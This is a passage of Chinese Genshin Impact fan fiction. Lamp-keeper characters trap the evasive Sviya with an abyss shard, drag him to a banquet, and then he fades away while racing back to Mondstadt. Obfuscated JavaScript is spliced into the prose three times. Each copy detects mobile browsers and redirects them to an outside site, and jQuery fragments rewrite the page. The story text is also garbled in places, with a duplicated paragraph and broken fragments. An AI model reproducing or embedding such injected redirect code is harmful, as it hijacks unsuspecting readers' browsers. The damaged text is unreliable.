“只是在别的地方学习了一点点生活的技巧而已。”斯威亚摆了摆手,像是在斟酌什么,然后压低声音开口:“说起来,我在蒙德碰到了风靡大陆的愚人众十一执行官,那位炎之魔女罗莎琳。” 菲林斯歪了歪头,指尖在桌面上轻轻叩了两下,似乎在消化这个斯威亚难得提及故土所带来的冲击。 片刻后,他慢悠悠地说:“妖精们的叛逆和奢靡可都是历历在目……你不会要告诉我,那位至冬的女皇终于要清算我们这些余孽了?” “这我没问。”斯威亚两手一摊,表情坦荡 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“需要我提醒你执灯人也是上夜班的吗?”菲林斯面无表情地反问,“而且你昨天没来挪德卡莱,天哪朋友,蒙德的酒就这么香,让你连工作都忘了?” “猎杀狂猎的指标和任务报告足量不就行了吗?”斯威亚理直气壮地摊手,“不要对兼职人员要求太高啊!更何况,昨天那个叫做事出有因!” “你是指特瓦林用眼泪把你砸伤?”菲林斯戳穿他的借口,“欺负一条不入世的龙?需要我提醒你当年某人用脸接北国枪阵还活蹦乱跳的吗?” “问题就出在这。”斯威亚顿了顿,收敛了那副没脸没皮的样子,声音忽然压低了些,“特瓦林的泪水的确对我造成了伤害,所以我想,这一定是高天之主宰给予我的启示。” 斯威亚双手合十,虔诚地看着挪德卡莱上方的那明晃晃的太阳,在这个处处都有信奉月亮之人的法外之地,他的举止虽然有些怪异,但也不至于格格不入。 “时间和命运会证明,我的祈祷并非无用,那高天并非对下面的生灵之嗟叹熟视无睹……只需要更多的奉献让祂满意,让祂见得我的虔诚,见得我的忏悔……” 窗外有风穿过,吹动窗帘轻轻晃动,月光在地板上投下一片斑驳的银白。斯威亚的目光落在一言不发的菲林斯身上,叹了口气。 “如果一定需要一个我擅自离去、不参与夜巡和晚宴的理由。” 斯威亚缓缓开口,声音轻得像是在自言自语。 “我不想在离至冬太近的地方待太久。 他抬起眼,看着菲林斯,嘴角甚至还挂着刚才嬉闹时残留的笑意,但眼底的某种情绪却让那笑意变得有些模糊。 “这个理由总算数吧?” 房间里安静了一瞬。 菲林斯没有追问,也没有露出任何多余的表情。他只是端起茶杯,把最后一口凉透的茶喝完,然后放下杯子,站起身,拍了拍袖口上并不存在的灰尘。 “想走就走吧,记得欠我五篇报告。” 12. 第 12 章 燎原的蓝火只是静静地燃烧,静静地坐着,然后静静地见证某人跑路。 菲林斯本来想多问一句,故事里的故事书到底有没有被他拿走,但想了想,菲林斯还是把话丢进灯里。 有些问题在超脱时间和身份之后再多问就没有意义。一如幽焰安于三无法外之地驱逐狂猎,一如斯威亚着迷于天上的信仰、持之以恒地猎杀一切有关深渊之物。 反正早已没人记得他们从前的样子。那些被岁月碾碎的名字、被遗忘在角落里的过往,都像这杯红茶,凉了就凉了,加热也只是画蛇添足。这样得过且过,也算是不错。 眼下的报告,才是他最该关心的东西。 老实火菲林斯幽幽叹了一口气,把空杯子搁在桌上,掀起衣摆,大马金刀胯步做下,面对空白的纸和吸满墨汁的笔,菲林斯拔开笔盖,又叹了口浊气。 还是靠自己慢慢补吧。 斯威亚能指望,但只指望斯威亚显然不太可能。就像酒是粮食精,但只喝酒显然不能越喝越精神一样,偶尔指望斯威亚靠谱有益于放松身心,过度指望斯威亚容易让事情陷入绝境。 虽然斯威亚最后总能在绝境下化险为夷,但绝境怎么来的别问。 当安排好一切的叶洛亚小少爷赶回那夏镇时,偌大的休息室就只剩下菲林斯一人。后者正端坐在桌前,羽毛笔在纸面上沙沙作响,冷静地补自己的报告。、 多么美好的场景,如果是叶洛亚的老爹尼基塔看到,必定会为这位好先生难得在文书上勤勉一回而开一瓶火水。 当然叶洛亚也会配合庆祝,前提是,这里没有少一个人。 叶洛亚站在门口,目光扫过空荡荡的房间,最后落在那扇大开的窗户上。带着丝丝寒意的风把窗帘吹得鼓起来,像一只沉默的白色幽灵。 叶洛亚问:“人呢?” 菲林斯笔下不停,装模作样地叹了口气,解释道:“……他先前就跟我说,脑袋被一条龙的眼泪砸伤了。” “所以?”叶洛亚不解,“砸伤了去找医生看看不就好了吗?” 更何况斯威亚皮糙肉厚——这可是菲林斯先生的原话,所以这样一个防御拉满的人,怎么可能会被一条龙的眼泪砸伤? 不会是在碰瓷吧? 莫名的,叶洛亚对这位素未谋面的龙龙产生了一丝同情。 菲林斯不知道叶洛亚心里已经默默为老朋友斯威亚贴上了“碰瓷”的标签,还在幽幽吐着苦水:“根据我的经验,斯威亚应该打算去找那条龙的亲戚朋友索赔。亲爱的小少爷,虽然执灯士们的薪水略显单薄,需要时不时地从别的地方勾兑一点,但我还是认为,斯威亚这种做法有失风度。” “啊这……”叶洛亚听到这离谱的猜测和菲林斯暗戳戳的劝慰先是一愣,眉头微微蹙起,但一想到主角是斯威亚,又释然了。 不过他还是好奇:“找龙的家属索赔医药费的话……斯威亚也是要去纳塔吗?” “也?”菲林斯手中羽毛笔一顿,抬起眼,不过他没有追问,而是向叶洛亚解释道:“应该不是去纳塔。据我所知,他昨天不光放了我们的鸽子,还错过了枫丹大审判官亲自宣判的一项重要案件——所以,他接下来应该会去枫丹。那里据说有那条用眼泪砸了他脑袋龙的某位不知名远方亲戚,据说还是枫丹庭的高官,薪水应该非常不错,估计会去顺道敲诈一笔。” “去枫丹……那就算了。”叶洛亚微微叹了口气,“如果他是要去纳塔的话,我还有事情委托他。” 菲林斯略显困惑:“我竟然不知道我们的哪位熟人打算去纳塔,竟然还要出动你去联络斯威亚?不过也是,纳塔那地方可不太欢迎外人。” 叶洛亚点点头,表情里多了一丝凝重:“是的,所以我才打算把斯威亚拉过去让她们认识一下……这件事其实跟伊涅芙有关,算是她的私事。爱诺发现,当初用来构筑伊涅芙核心的机关中枢似乎是来自于纳塔。斯威亚之前不是提到过他在纳塔做过猎龙人吗?毕竟这是伊涅芙第一次出远门,有熟门熟路的本地朋友,爱诺也不会太过担心了。 “原来如此。”菲林斯喃喃道,难得露出了一丝可惜,“这么看来我倒成了办坏事的罪人了。” “没关系,”叶洛亚摆了摆手,语气里倒是比菲林斯乐观不少,“斯威亚先生应该很快又会再回一次那夏镇吧?” 但这份乐观显然不太坚定,毕竟所有执灯士都清楚,斯威亚会刷新在任何一个狂猎出没的地方,却难得跑来那夏镇一趟,于是叶洛亚话锋一转,声音也低了下去:“本来都说好了的今晚宴会介绍给她们认识,虽说斯威亚一下子跑没影也不是一次两次的事情,只是,爱诺应该会很失望。” 叶洛亚叹了口气,显得格外忧愁。 “本来还想拿这个当借口让大家都能翘掉明天的补习……”他小声嘟囔,不自觉把心里话说出来。 菲林斯敏锐地抓住了关键词。 他的羽毛笔停了,权衡了一番老友埋藏在心底的忧郁和眼下迫在眉睫的爱诺老师补习班和报告后,眼底闪过幽幽的蓝光,抬起头,坚定道: “爱诺小姐可是我们全体执灯士的朋友,我们怎么能放任斯威亚就这么跑掉、让她失望!” 菲林斯放下笔,伸手取下挂在腰后的小灯。那盏灯只有巴掌大小,外壳被摩挲得温润,看起来其主人很是喜欢。菲林斯的手指在灯盖上轻轻一旋,咔哒一声,盖子翻开,露出里面的空间—— 一块格外特别的晶石碎片安静地躺在灯内。 叶洛亚从没见过沾着如此浓烈狂猎气息的宝石。那些纹路像是活物一样缓缓蠕动,即使在灯中数月之久,依然散发着令人不安的压迫感。菲林斯用两根手指将它拈起来,举到眼前,红色的微光映在他的瞳孔里,像是簇即将熄灭的余烬。 “这是我先前狩猎狂猎时捡到的碎片。”菲林斯简单解释,“这块碎片太过特殊,我一直拿它束手无策,为了避免麻烦,平时都放在我的灯里遮蔽气息。包括斯威亚在内,几乎没人知道我有这么一块特殊的碎片。” 叶洛亚走近两步,不解问:“可是这跟找斯威亚有什么关系呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374988|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲林斯眨了眨眼,那双眼睛里忽然多了一丝狡黠的光。 “斯威亚对深渊的气息非常敏感,所以狩猎时从来不会跑空趟。”菲林斯把碎片在指尖转了一圈,红色的光斑在空气中划过一道弧线,“这也是他出勤率很低、但是清扫狂猎却从来没有落下过的原因之一。” “试想一下吧,一个拖欠了两个人分量的报告、并且没做过任何一次夜巡任务、只能靠猎杀狂猎来维持那岌岌可危的业绩的斯威亚——” 坏心眼的菲林斯故意把“岌岌可危”四个字咬得很,留有足够长的停顿时间任由叶洛亚想象,才继续道: “会不会闻着味道就来呢?” 叶洛亚的眼睛瞬间亮了。 “我明白了。”他若有所思地摸着下巴,已经开始在脑海里规划战术布置,“需要换个空旷的地方来诱捕斯威亚吗?去海滩边?视野开阔,再喊人堵住,这样他应该跑不掉——” “不必那么麻烦,就像我说的,他会闻着味过来。” 叶洛亚张了张嘴,似乎还想说什么,而话音刚刚落下,一道扭曲阴暗的身影从阴影中飞窜而出。 速度快得几乎看不清轮廓,扭曲、阴暗、以一种完全不似人类的姿态直直地朝菲林斯手中的灯冲了过去。那东西的动作带着某种原始而狂热的兴奋,四肢着地的奔跑方式像极了嗅到猎物气息的野兽。 然后它开口了。 “哦哦哦——!” 那个声音尖锐、亢奋、完全不像是正常人该发出的动静。 “是狂猎!新鲜的、强大的、污染力量十足的狂——猎——!!!” 斯威亚整个人几乎是扑过来的,双眼放光,嘴角咧开的弧度大得有些不正常,头发因为高速移动而在身后拉成一道残影。他的注意力完全被那盏个碎片吞噬了,对房间里多出来的叶洛亚视若无睹,对周围的环境变化毫无察觉,像一只闻到了猫薄荷的猫——不,比那更夸张,像一只饿了三天终于闻到肉味的狼。 然后他猛地刹住了。 “咦,天怎么突然黑了?” 斯威亚抬起头,后知后觉地发现窗户的方向似乎被什么挡住了。他眨了眨眼,瞳孔里倒映出叶洛亚那张面无表情的脸。 小少爷站在窗前的太阳光里,双手环胸,居高临下地看着他,嘴角挂着一个意味深长的弧度。 菲林斯在他身后慢悠悠地合上灯的盖子,咔哒一声,那抹诱人的深渊气息消失得干干净净。他抬起手,那盏不起眼的小灯忽然亮了,一簇幽蓝色的火焰,安静地在他掌心燃烧,将整个房间都染上了一层冷冽的蓝。 他的声音不再平淡,而是带上了一种斯威亚熟悉得不能再熟悉的、属于战斗的韵律。 “——夜客致访。” 蓝焰在妖精指尖跳跃,月光、灯火、深渊碎片的残响,在这一刻交织成一张无形的网,将斯威亚牢牢罩住,后者一时之间完全没有反应过来,被交响的雷电捆成了粽子。 斯威亚:? 斯威亚:不是哥们,这是干嘛呢? 13. 第 13 章 “等等。” 斯威亚艰难地咽了口唾沫,带着一种被从天而降的陷阱砸晕后特有的恍惚,四下环顾以后,充满警惕和试探性地发问道: “我先确认一下——这里的执灯人是对抗深渊的正派阵营没错吧?不是什么尊贵的法涅斯大王沦为黑泥跟尼伯龙根双双成为苦命鸳鸯永不见天日的反转世界吧?” 菲林斯先生,你下手这么重吗?斯威亚都开始神志不清了?” 叶洛亚很快联想到刚刚菲林斯跟他提到,斯威亚脑袋又被龙的眼泪砸伤,不禁喃喃道,“还是说是因为被龙的泪水砸到了?原来龙的泪水威力这么足吗?有机会的话,或许可以跟西索军士长讨论一下用龙之泪改善那夏镇的月矩力大炮的可能性……” “斯威亚应该只是单纯发蒙。” 菲林斯收起枪,语气平淡,显然已经完全免疫斯威亚的此等症状,“大脑超载罢了,不用在意。” 确认自己不是掉到异世界,而是被两位同事联手套路后,斯威亚理智重新上线,一秒索敌罪魁祸首,指着菲林斯提灯里面的碎片,痛心疾首: “你不是说好当作没看见吗?拿狂猎的碎片诱捕我就算了,怎么还开大?我宁愿你开北国枪阵扎我脸上,也不愿意看见你堕落成这样!你有考虑过下一轮循环的能量吗?你有考虑过DPS出伤吗?你这个光顾着耍帅的老灯,万一遇到狂猎,你难道要拉着叶洛亚打雷结晶反应吗?这太疯狂了!” “其实紧急情况下超载也不是不可以……” 菲林斯竟然真的认真思考起来,“说起来我早就觉得这挪德卡莱有点缺水……或许可以研究一下拿自……咳,拿提灯里的火打超载之类的新方式。” “月超载吗?”斯威亚眼神中流露出彻底的佩服和无语,“竟然试图违背那伟大高天之主所设下的规则,那很有创造力和想象力了。需要我提醒你月反应需要水底吗?在你想出如何以一己之力打出月超载之前,要不先研究一下水火怎么共存——伟大的高天,请赦免我这违背提瓦特底层元素逻辑的不敬之言!” 叶洛亚打断了这无休止的斗嘴:“别打岔了,斯威亚。我希望你考虑一下今天一整天都留在挪德卡莱。” 斯威亚一愣,深吸一口气,酝酿了三秒,开始卖惨: “人不能同时在晚上又当酒保又当执灯人啊!” 斯威亚泪眼汪汪,声音里带着独属于绝命打工人的悲怆,不知道的人还以为整个提瓦特的资本主义命脉都掌握在斯威亚手心。 “发发善心吧小少爷,我这不是在努力工作了吗?怎么能这么对待一位尽心尽力的执灯人呢?伟大的法大王啊,快看看你可怜的信徒,居然被正义的伙伴诱拐,这对偌大的提瓦特都是不可估量的损失啊!” 菲林斯的眼皮跳了一下。 “小少爷,我建议先用物理手段让他闭嘴。”菲林斯提起枪,认真提议,“不光是因为噪音污染。万一因为他口不择言,导致某种尖尖的、竖直的蓝色大钉子从天而降,不光我们执灯士,整个挪德卡莱都会完蛋的。” 叶洛亚的脑瓜子被吵得生疼,他揉了揉太阳穴,决定跳过斯威亚的卖惨环节直接进入正题。三言两语解释了把他弄回来的原因后,他开始了苦口婆心的劝说: “斯威亚,想想我们这些可怜的、饱受学业摧残的同事吧!” 叶洛亚双手撑桌,身体前倾,目光灼灼地盯着还在执迷不悟想要找机会跑路的斯威亚,再一次强调道: “只是一次小小的晚宴就能够拯救全体执灯人!要是你的神明知道,你为了这么多猎杀狂猎的好人翘一个小小的班,一定也会理解你、嘉奖你、甚至降下神谕什么的——这可是两全其美的好事。” 菲林斯终于被叶洛亚不知斯威亚信仰神明的真实身份而随意许下的愿望弄得有点绷不住表情,微微张口,在旁边委婉地插了一句:“前面的可以,后面的……对挪德卡莱这片土地未免有些残忍。” “虽然这话由我来问比较奇怪……但今天需要这么上升高度吗?” 斯威亚显然被叶洛亚天花乱坠的卖惨全体执灯人这顶大帽子扣得有些发懵,不过他内心深处仍有些不太愿意随意更改自己既定的规划和目标——从阿佩普那里出来的时候他自己对时间的感知绝对没有问题,斯威亚敢用自己的性命发誓,那天的时间流速绝对发生了改变! 这也是他不愿在挪德卡莱久留的原因,斯威亚隐隐有种预感,随着风魔龙的再度活跃是一种征兆。 一如他那天在蒙德的祈祷时隔五百年终于得到了回应。 千风之眷属的归来,同是高天之主宰归来的号角。 他无论如何都必须应允自己当初对天空发下的誓言,在每晚回到蒙德,又在一天的伊始迎着晨光出发——这些当然不能作为理由讲给叶洛亚和菲林斯听,于是他解释道: “可是我下午得先去枫丹领审判庭发的小礼品。虽然我昨天缺席了那个大审判官的开庭,但是好心的美露莘小姐一般都会为我们这些买了票的忠实观众留影……你知道的,对于仰赖高天之恩赐且乐于助人的自己人,我可不会让她们的辛苦白费。“ “可是我下午得先去枫丹领审判庭发的小礼品。虽然我昨天缺席了那个大审判官的开庭,但是好心的美露莘小姐一般都会为我们这些买了票的忠实观众留影……你知道的,对于仰赖高天之恩赐且乐于助人的自己人,我可不会让她们的辛苦白费。” 斯威亚掰着手指头试图继续给自己加码:“还有晚上的工作,失去了我,我的酒保同事们一定会无比忙碌的!蒙德的酒业可是支柱行业,没了我,他们该如何自处?!” “蒙德的酒业失去你就像鱼失去自行车,”叶洛亚一字一句地认真反驳,“但执灯人的大家失去你,我们就会失去眼睛、双腿、然后失去生命!” 叶洛亚双手握拳,声音陡然拔高:“快想起我们执灯人的专属羁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374989|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绊啊!” “如果、如果是为了‘我们’的话……”瞬间被叶洛亚击破弱点的斯威亚抵挡不住一声“我们”的吸引力,一边是必须每天回蒙德打卡的信念,一边是“我们”这个他无法抵抗的诱惑,哀嚎道:“可恶,为什么一天只有24小时,如果两天能够合并算作一天的话,我就不会如此纠结了!” 叶洛亚深吸一口气:“如果说那夏镇现在被狂猎袭击,我相信所有附近的执灯人都会立刻赶来。”他的声音低沉而有力,像一个在讲述惨痛历史的说书人,“可如果爱诺小姐今晚上课,那我相信我将收到不少于二十份因伤请假、十九份紧急任务告知书。” “大家细细算下来居然会发现——天哪,怎么一到爱诺小姐上课,整个挪德卡莱就找不出一位尚有闲暇还身体完好无损的执灯士了?” 菲林斯配合:“这也太可怕了。” “我明白了,总而言之就是如果没有我全体执灯人就要被爱诺的补习班单杀,而我留在这里为他们引荐纳塔本地人能够卖个人情,对吧?” 斯威亚若有所思,郑重决定:“为了大家的身体健康,为了传播伟大高天之主宰的天启,我今天将作为兼职执灯人出席在今晚的晚宴上——不过,我还需要一点点小小的帮助……挪德卡莱有蒙德的远征军驻扎吧?” 叶洛亚警惕斯威亚狮子大张口:“你要干什么?” 斯威亚苍蝇搓手:“那个,小少爷,小队长,方便引荐一下蒙德骑士团的团长吗?” “你说法尔伽先生?”叶洛亚看了眼菲林斯,“没有问题,这里不就有一位喜欢去西风戍垒蹭酒的执灯士?” “没问题,就由我来充当这个中间人。只是,你怎么突然对西风骑士团感兴趣了?在蒙德是酒保,挪德卡莱又想跳槽到西风骑士团吗?真是不专一啊。”菲林斯微微叹了口气,“不会是打算以后在蒙德定居吧?” “你想到哪里去了?”斯威亚嘴角抽搐,“我只是希望这位据说非常好心又无比慷慨的骑士团大团长能为我写一份假条而已——西风骑士团大团长的面子,晨曦酒庄旗下的‘天使的馈赠’应该会买账吧?” “我的天。”叶洛亚已经不记得这是自己第多少次扶额了,“我有时候真不知道你是装傻还是真傻……” “法尔伽不会介意的。”菲林斯双手环胸,露出了一个意味深长的微笑,“我倒觉得他们两个会意外地很合得来……比如,都有很多想法却不到关键时刻绝不说出来,是吧?” 斯威亚选择装聋。 菲林斯说的没错,确实还有另一个原因。 现任西风骑士团团长,是被北风王狼认可之人。而众所周知,离开天使长居所的群狼之王任由自己残余的力量融入蒙德的地脉之后,王狼的印记便成了某种极为稀有的锚点。 只要他能接触到法尔伽身上的力量,就算晚宴持续道超出预计的时间,斯威亚也有把握在赶在一天终结之前回到蒙德。 14.第 14 章 夜晚的那夏镇比白天冷清不少,但此时段的执灯人却比任何时候都要清醒。这片三不管的法外之地,在相当长一段时间里,全靠夜巡的执灯人们维持着相对平稳的治安。 至于今晚的宴会,说是宴会,倒不如说是露天广场举办的篝火烧烤派对,并配上了大量的酒水。斯威亚本人不善酒力,滴酒不沾,好在烤肉分量足够,点心和水果的数量也足够堵满他那并不怎么需要饱腹的胃。 唯一美中不足的一点就是,他好像成为了某种景点。 许多执灯人都抱着看珍奇景观的态度跑来他这儿打卡,弄得他浑身起鸡皮疙瘩,恨不得马上圆润地滚出挪德卡莱。 对此叶洛亚表示非常正常,表示习惯就好,还安慰道:“毕竟斯威亚从来不参加任何聚会,还坚持单独行动,任务却从没落下过,哪怕是菲林斯先生也不至于万千不跟大家联络,会好奇也是很正常吧?” “但是我感觉有无数双眼睛在盯着我……”斯威亚咽下干巴巴的黑麦大列巴,抓起一串葡萄润了润干涸的喉咙,不安地四下环视,“也有可能是人太杂了。果然,我还是不太能适应这种很多很多不同身份的人聚集在一起的环境……会给我一种地要塌掉的感觉。” 话虽如此,但斯威亚还是口嫌直体正地自己挑选了一个不漏风的角落,默默带着从小孩桌上顺过来的葡萄汁和夹核桃大列巴,安静地啃食起来。 叶洛亚见他找到了合适的墙角就去找爱诺和伊涅芙,菲林斯则又不知道跑到哪里去了。 虽说是执灯人们的晚宴,但本地帮派实在太有礼貌了。霜月之子们很快也加入了这场聚会,然后是被菲林斯邀请过来的西风骑士们。甚至有商铺老板给那些喜欢下班后穿着制服来凑热闹的愚人众士兵也留了桌。 斯威亚不禁迷惑:挪德卡莱已经变成这副人种信仰大熔炉的样子了吗? 说来也是倒反天罡。 挨着至冬边的挪德卡莱里的愚人众,作风甚至不如远赴蒙德本土的使节团嚣张,甚至还相当有自知之明。斯威亚能够明显看见,那几个愚人众士兵完全没有一点儿架子,不光在人群的起哄下猛猛干了三杯火水,还在那里吐槽新上任上司的死板。 难道执行官对下属的影响真有这么深?暴躁的执行官手下的兵也会嚣张些? 斯威亚仰头饮下葡萄汁,任由自己胡思乱想。 挪德卡莱的风是清凉又飒爽的,跟蒙德那种柔和得能容许成簇成簇的蒲公英的清风很不一样,只是温柔的风容易让人沉醉于无法苏醒的朦胧,而沾染了至冬气息的凉风又容易把人从幻梦的中惊醒。 “这点我倒是非常认同,挪德卡莱的风偏凌冽,而蒙德的风更为温和清澈。” 一个声音从身后传来。斯威亚这才意识到,自己竟然迷迷糊糊中不自觉把心里话说了出来。 斯威亚回过头,来人身材高大,肩宽得像是能扛起一整座雪山。金色的头发被夜风微微吹乱,脸上的旧伤疤丝毫不减那张面容的英朗,反倒添了几分久经沙场的粗粝与从容。来者单手搭在腰间的佩剑上,姿态随意得像是在自家后院散步,目光却锐利如狼。 “初次见面,我是西风骑士团的大团长,北风骑士法尔伽。” 法尔伽爽朗一笑。后面菲林斯慢慢走过来,向法尔伽介绍:“这位就是我说的那个因为担心‘天使的馈赠’老板因为他旷工而不愿意参加晚宴的执灯人,斯威亚。” 一个粉色头发的女孩从法尔伽身后探出头来,兴奋地举起双手,声音雀跃得像只小鸟:“快快快,伊涅芙!” “数据已录入,斯威亚先生,你好。”伊涅芙从阴影中走出,每一步的步幅都分毫不差,面庞精致,浅紫色的瞳孔里没有任何情感波动,只有数据流般的光点飞速掠过。被叫做伊涅芙的歪了歪头,关节处传来极其细微的机械摩擦声—— 伊涅芙歪了歪头:“外观,人型。扫描……数据错误,无法解读。” “停停停,请不要随地大小扫!”斯威亚在胸前画了个大大的叉,表情严肃,“伟大的高天之主宰改造了这个破碎的世界,而远古大王们残留的科技太过脆弱。一如光明易被黑暗腐蚀,哪怕是再平常不过的瞥视,也会对其造成不可挽回的损伤。这位机器人小姐,请你将这道指令写入核心——以古龙科技的中枢载体扫描斯威亚,是绝对禁止的危险事项!” 伊涅芙点点头,无机质的瞳孔里数据流飞快闪过不易察觉的暗光:““数据已录入。增加词条‘高天之主宰’‘古龙科技’,设定为最高优先级。”” “唉,没救了……”菲林斯的声音里透出一股疲惫的无奈。 法尔伽一愣,偏头看向菲林斯,眼中兴味渐浓:“我好像知道为什么你说,斯威亚兄弟是个有意思的人了。” “如果你有什么不想让人知道的小秘密,可千万不要被他发现。”菲林斯状似无奈地叹了口气,“虽然斯威亚每次说话都没几个人当真,但是当你活得够长又知道得足够多时,就会发现他每次都叽里咕噜说出一堆无数学者求而不得的真相和史料……” “真有意思。” 法尔伽的手指轻拂下吧,指节上满是厚茧月光在他棱角分明的侧脸上勾勒出冷硬的线条,灰蓝色的眼瞳深处映着篝火跳动的光,像是在审视一只误认为自己是甜甜花的骗骗花,甚至像是在欣赏一场好戏。 “那斯威亚兄弟,”法尔伽眼睛里盈着好奇和兴味,带着几分若有若无的试探,“你能分享一点自己的秘密吗?” “我的天呐,你们可千万别引来一些奇奇怪怪的东西……” 菲林斯痛苦的扶额,从斯威亚回挪德卡莱到现在,他今天一天的头疼次数比上个月一整个月的都多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379328|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“放心好了菲林斯,我之前刻意找深渊教团试了一段自我介绍,已经弄出来一个纯天然无公害的版本,可惜一直没有机会展示。” 斯威亚从墙角站起,拍了拍衣摆上的灰尘。夜风拂过,他额前的碎发微微扬起,露出那双幽蓝如湖面的眸子。 法尔伽隐隐感觉好像有哪里不太对,斯威亚双手合十,神情虔诚得仿佛下一秒就要接受神谕—— “赞颂高天之主的伟业!我的名字叫斯威亚,家住天空岛隔壁蒙德城小区一带,目前在天使的馈赠当酒保,晚上9点上班,12点下班回家。我不抽烟,也不会喝酒。另外还兼职猎龙人兼逐影猎人兼执灯人。每天四点钟起来,早餐是完好无损的煎蛋,上午从蒙德到至冬狩猎各种深渊魔物,并监督美露莘是否与前朝余孽阿佩——” “停——” 北国枪阵直挺挺地扎到了斯威亚脑袋上。 菲林斯终于控制不住把枪扎进斯威亚脑袋的欲望,直接用物理手段堵住某人非常不严实的嘴,而后者却还是跟的没事人一样,愣了一瞬后立刻入戏,捂着脑袋装作惊吓然后卖惨: “你这老灯好狠的心!” 菲林斯面不改色地收回枪,转头看向法尔伽:“自我介绍就到此为止了。为了挪德卡莱,为了还站在这片土地上的人类,以及为了隔壁的至冬国不至于被某人的口不择言波及,斯威亚,你不许说话。” “……好吧好吧。”斯威亚可惜,“我那套词还没背完呢……其实问题不大,我有在蒙德深渊教团的据点试过的……” 菲林斯纯当作没有听见这句话,顿了顿才继续说道:“很好,这位法尔伽先生就是西风骑士团的团长——斯威亚,你现在可以说出那个令人发笑的请求了。 不急不急。”斯威亚摆了摆手,脸上哀嚎的痕迹瞬间消散得无影无踪,仿佛刚才被扎脑袋的人根本不是他。斯威亚环顾四周,兴奋道:“宴会不才刚开始没多久?现在应该才九点半不到呢,让我们继续享受认识新朋友的宝贵乐趣!还有伊涅芙小姐,我之前是听菲林斯说,你想要去纳塔……” “你在说什么啊,斯威亚?”叶洛亚不知何时走了过来,闻言一脸困惑地看了看斯威亚,又转向伊涅芙确认:“宴会不都结束了吗?” 斯威亚的笑容僵在脸上。 他猛然回过头,篝火已经燃尽了大半,只剩几簇暗红色的余烬在夜风中明灭。烤肉架上空空如也,连酱汁都被刮得干干净净。刚刚还近在咫尺的、还在和友人喝酒的士兵也好、执灯士也好,几乎全都三三两两地散去。 远处传来桌椅搬动的声响,广场上只剩下零星几个人影,在月光下拖出长长的影子。 斯威亚听到了装有古龙科技之少女略带困惑的、充满科技感的声音—— “校准时间无误,斯威亚先生,现在是凌晨三点。” 15.第 15 章 遭老罪了! 斯威亚飞速穿过奔狼领的灌木丛。酣睡的群狼被外人的骚动吵醒,起身发出不悦又警惕的低吼。 斯威亚掠过,他现在没空薅狼。 谁能告诉他到底是怎么回事?这个世界到底怎么了?如果上次还能甩锅给在阿佩普那里浪费了太多时间,这次斯威亚百分百肯定—— 时间绝对是被人为调快了! 虽然他不清楚到底是伊斯塔露发了疯还是深渊有新点子,又或者是神奇的坎瑞亚又想出了什么绝妙的修改命运小妙招,但不管是谁,他非得找出来,好让这家伙别再随地大小调时间! 这能瞎调吗? 斯威亚全力加速,往蒙德城那距离笨狼领老远的城门口冲去。 感谢好心的大团长! 虽然法尔伽并不知道斯威亚为何在被他们告知已经凌晨三点时脸色大变,但还是在对方请求他拿出武器时欣然接受,这才让斯威亚有机会利用王狼的赐福传送回奔狼领的地脉。 只是美中不足——那头傻狼干嘛把自己的地盘放那么远?不是都把自己的残余力量奉献给了这片大地吗?就不能选个近点的地方安家建窝?建这么个前不着蒙德城后不着清泉镇的地方,要害死人了! 斯威亚能感觉到躯壳从骨髓深处渗出来的寒意,他的四肢开始发麻,指尖最先失去知觉。 树影在两侧飞速倒退,斯威亚的步伐越来越轻,越来越飘,踩在落叶上发出的沙沙声正在变得不真实。月光穿过树冠的缝隙落在他身上,竟开始直接穿透过去,在他身后的地面上投不出一丝阴影。 他的身体正在变得透明。 双臂已经化作湖蓝色的流光,像是极光被谁撕下了一条,随着斯威亚不要命般的奔跑拖出长长的尾迹,在夜色里划出一道道转瞬即逝的弧线。 然后是肩膀,皮肤下隐隐可见的血管像是被注入了星辉,从内向外散发出幽蓝的光芒。他的轮廓开始模糊,边缘处不断有细碎的光屑剥落,如同被风吹散的萤火虫,又像是融化的冰晶在阳光下碎裂时溅出的星点。 斯威亚跑的很快,但碎裂的速度更快。 蒙德城的城墙在远处浮现,但他的下半身已经开始瓦解。 从膝盖往下,双腿已经彻底化作了流动的光带,在他身下拖出长长的、如同彗尾一般的痕迹。每跑出一步,就有更多的碎片从他身上剥落,那些碎片接触到地面的瞬间,便凝结成一滩滩亮晶晶的、如同史莱姆凝液般的物质,在月光下泛着梦幻般的湖蓝色光泽。 斯威亚冲上通往蒙德城的大桥。 桥下的河水倒映着他此刻的模样——那几乎已经不能称之为“人”了。他的身体像是一面被击碎的镜子,只剩下大致的轮廓还勉强维持着人型。无数道裂痕从他躯干的中心向外蔓延,每一道裂痕里都涌出刺目的蓝光,将他的身体切割成无数碎片。 快到了,快到了—— 